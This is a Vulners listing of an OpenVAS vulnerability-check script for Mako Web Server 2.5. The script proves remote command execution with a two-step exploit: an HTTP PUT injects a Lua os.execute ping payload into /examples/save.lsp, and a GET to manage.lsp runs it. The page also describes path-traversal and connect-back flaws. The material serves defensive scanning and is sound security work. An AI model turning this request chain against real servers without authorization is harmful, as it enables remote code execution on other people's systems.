Lucene search
+L

Mako Web Server 2.5 Multiple Vulnerabilities - Active Check

🗓️ 18 Sep 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

Mako Web Server has multiple vulnerabilities leading to remote code execution and sensitive data acces

Refs
Code
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:mako:mako_web_server";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.811771");
  script_version("2026-03-12T05:56:11+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2026-03-12 05:56:11 +0000 (Thu, 12 Mar 2026)");
  script_tag(name:"creation_date", value:"2017-09-18 16:33:01 +0530 (Mon, 18 Sep 2017)");
  script_name("Mako Web Server 2.5 Multiple Vulnerabilities - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2017 Greenbone AG");
  # nb: No "Web Servers" family as the affected components are some example scripts and not the web
  # server itself
  script_family("Web application abuses");
  script_dependencies("gb_mako_web_server_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("Mako/WebServer/installed");
  script_require_ports("Services/www", 9357, 80, 443);

  script_xref(name:"URL", value:"https://hyp3rlinx.altervista.org/advisories/MAKO-WEB-SERVER-MULTIPLE-UNAUTHENTICATED-VULNERABILIITIES-SECURITEAM.txt");
  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/42683");
  # nb: Not available anymore (also not via e.g. archive.org) and only kept for historical reasons
  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/3391");

  script_tag(name:"summary", value:"Mako Web Server is prone to multiple vulnerabilities.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request and checks if the target is
  sending an ICMP Echo Request back to the scanner host.

  Notes:

  - For a successful detection of this flaw the scanner host needs to be able to directly receive
  ICMP Echo Requests (Type 8) from the target.

  - If the target is a Windows system constantly sending ICMP Echo requests to the scanner host
  (e.g. a Monitoring System) the detection routine might be not fully reliable. In this case please
  create an override for any result of this VT.");

  script_tag(name:"insight", value:"Multiple flaws are due to:

  - Mako web-server tutorial does not sufficiently sanitize the HTTP PUT requests when a user sends
  an HTTP PUT request to 'save.lsp' web page, the input passed to a function responsible for
  accessing the filesystem.

  - Mako web-server tutorial is not sufficiently sanitizing GET requests when a user sends GET
  request to the URI 'IP/fs/../..', the input is passed without modification and the response with
  the file content is returned.

  - Mako web-server tutorial is not sufficiently sanitizing incoming POST requests when a user sends
  an POST request to the 'rtl/appmgr/new-application.lsp' URI, the input will be executed and the
  server will connect to the attacker's machine.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to execute
  arbitrary commands, gain access to potentially sensitive and conduct cross site request forgery
  attacks.");

  script_tag(name:"affected", value:"Mako Web Server version 2.5. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("dump.inc");
include("list_array_func.inc");
include("pcap_func.inc");

if(!port = get_app_port(cpe:CPE))
  exit(0);

if(!get_app_location(cpe:CPE, port:port, nofork:TRUE))
  exit(0);

host = http_host_name(port:port);
ownhostname = this_host_name();
ownip = this_host();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string("(dst host ", ownip, " or dst host ", ownhostname, ")");
filter = string("icmp and icmp[0] = 8 and ", src_filter, " and ", dst_filter);

if(os_host_runs("Windows") == "yes")
  target_runs_windows = TRUE;

foreach connect_back_target(make_list(ownip, ownhostname)) {

  if(target_runs_windows) {
    CMD = "os.execute('ping -n 5 " + connect_back_target + "')";
  } else {
    vtstrings = get_vt_strings();
    check = vtstrings["ping_string"];
    pattern = hexstr(check);
    CMD = "os.execute('ping -c 5 -p " + pattern + " " + connect_back_target + "')";
  }

  len = strlen(CMD);
  if(!len)
    continue;

  url = "/examples/save.lsp?ex=VTTest";
  req = string("PUT ", url, " HTTP/1.1\r\n",
               "Content-Length: ", len, "\r\n",
               "Host: ", host, "\r\n",
               "\r\n", CMD);
  res = http_keepalive_send_recv(port:port, data:req);
  if(!res || res !~ "^HTTP/1\.[01] 204" || res !~ "Server\s*:\s*MakoServer\.net")
    continue;

  # nb: Always keep open_sock_tcp() after the first call of a function forking on multiple hostnames
  # / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(), ...). Reason:
  # If the fork would be done after calling open_sock_tcp() the child's would share the same socket
  # causing race conditions and similar.
  if(!soc = open_sock_tcp(port))
    continue;

  url = "/examples/manage.lsp?execute=true&ex=VTTest&type=lua";

  req = string("GET ", url, " HTTP/1.1\r\n",
               "Host: ", host, "\r\n\r\n");

  res = send_capture(socket:soc, data:req, timeout:5, pcap_filter:filter);

  close(soc);

  if(!res)
    continue;

  type = get_icmp_element(icmp:res, element:"icmp_type");
  if(!type || type != 8)
    continue;

  # nb: If understanding https://datatracker.ietf.org/doc/html/rfc792 correctly the "data" field
  # should be always there. In addition at least standard Linux and Windows systems are always
  # sending data so it should be safe to check this here.
  if(!data = get_icmp_element(icmp:res, element:"data"))
    continue;

  # nb:
  # - Like seen on / in e.g.
  #   - https://ilinux.wordpress.com/2018/04/18/%DA%86%D8%B7%D9%88%D8%B1-%D9%88%D9%82%D8%AA%DB%8C-%D9%87%D9%85%D9%87-%DA%86%DB%8C%D8%B2-%D8%A8%D8%B3%D8%AA%D9%87%E2%80%8C%D8%B3%D8%AA-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86%D8%AA%D8%B1%D9%86%D8%AA-%D9%85/
  #   - GS-9790
  # - We can easily rule out this one as not a valid response...
  if("PING by PRTG" >< data)
    continue;

  if((target_runs_windows || check >< data)) {
    report = "It was possible to execute command remotely at " + http_report_vuln_url(port:port, url:url, url_only:TRUE) + " with the command '" + CMD + "'.";
    report += '\n\nReceived answer (ICMP "Data" field):\n\n' + hexdump(ddata:data);
    security_message(port:port, data:report);
    exit(0);
  }
}

# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host or another IP is responding from our request.
exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation